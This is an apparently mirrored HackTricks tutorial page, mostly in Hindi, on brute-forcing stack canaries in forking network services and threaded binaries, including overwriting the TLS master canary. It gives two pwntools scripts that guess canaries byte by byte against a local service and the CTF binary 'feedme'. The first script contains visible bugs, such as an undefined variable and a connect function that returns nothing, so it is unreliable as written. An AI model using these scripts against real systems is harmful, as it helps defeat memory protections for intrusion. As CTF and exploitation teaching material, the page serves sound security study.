mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
118 lines
8.7 KiB
Markdown
118 lines
8.7 KiB
Markdown
# BF Forked & Threaded Stack Canaries
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा संरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।\
|
|
> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच बाहर निकलने से पहले की जाती है।
|
|
|
|
## ब्रूट फोर्स कैनरी
|
|
|
|
एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है **जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रोसेस को फोर्क करता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं **तो वही कैनरी का उपयोग किया जाएगा**।
|
|
|
|
फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे **चर द्वारा चर ब्रूट-फोर्स करना**, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन **8 बाइट्स कैनरी (x64)** को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस **जांचकर** कि क्या सर्वर द्वारा एक **प्रतिक्रिया** वापस भेजी गई है (एक अन्य तरीके में **अन्य स्थिति** में **try/except** का उपयोग करना हो सकता है):
|
|
|
|
### उदाहरण 1
|
|
|
|
यह उदाहरण 64 बिट्स के लिए लागू किया गया है लेकिन इसे 32 बिट्स के लिए आसानी से लागू किया जा सकता है।
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
```
|
|
### उदाहरण 2
|
|
|
|
यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे 64 बिट्स में आसानी से बदला जा सकता है।\
|
|
यह भी ध्यान दें कि इस उदाहरण के लिए **कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की** और पेलोड।
|
|
```python
|
|
from pwn import *
|
|
|
|
# Here is the function to brute force the canary
|
|
def breakCanary():
|
|
known_canary = b""
|
|
test_canary = 0x0
|
|
len_bytes_to_read = 0x21
|
|
|
|
for j in range(0, 4):
|
|
# Iterate up to 0xff times to brute force all posible values for byte
|
|
for test_canary in range(0xff):
|
|
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
|
|
|
# Send the current input size
|
|
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
|
|
|
# Send this iterations canary
|
|
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
|
|
|
# Scan in the output, determine if we have a correct value
|
|
output = target.recvuntil(b"exit.")
|
|
if b"YUM" in output:
|
|
# If we have a correct value, record the canary value, reset the canary value, and move on
|
|
print(" - next byte is: " + hex(test_canary))
|
|
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
|
len_bytes_to_read += 1
|
|
break
|
|
|
|
# Return the canary
|
|
return known_canary
|
|
|
|
# Start the target process
|
|
target = process('./feedme')
|
|
#gdb.attach(target)
|
|
|
|
# Brute force the canary
|
|
canary = breakCanary()
|
|
log.info(f"The canary is: {canary}")
|
|
```
|
|
## Threads
|
|
|
|
एक ही प्रक्रिया के थ्रेड भी **एक ही कैनरी टोकन** साझा करेंगे, इसलिए यह संभव होगा कि हम **ब्रूट-फोर्स** एक कैनरी कर सकें यदि बाइनरी हर बार हमले के होने पर एक नया थ्रेड उत्पन्न करती है। 
|
|
|
|
इसके अलावा, एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो कैनरी से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर कैनरी को संशोधित करने** के लिए किया जा सकता है। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के **स्टैक** में एक **bof** के माध्यम से उस मेमोरी स्थिति तक पहुँचा जा सके जहाँ TLS संग्रहीत है (और इसलिए, कैनरी)।\
|
|
इसके परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान कैनरी के साथ की जाती है (हालांकि संशोधित)।\
|
|
यह हमला इस लेख में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
|
|
|
इसके अलावा, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति देखें जो बताती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है, तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लेख में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
|
|
|
|
## Other examples & references
|
|
|
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
|
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|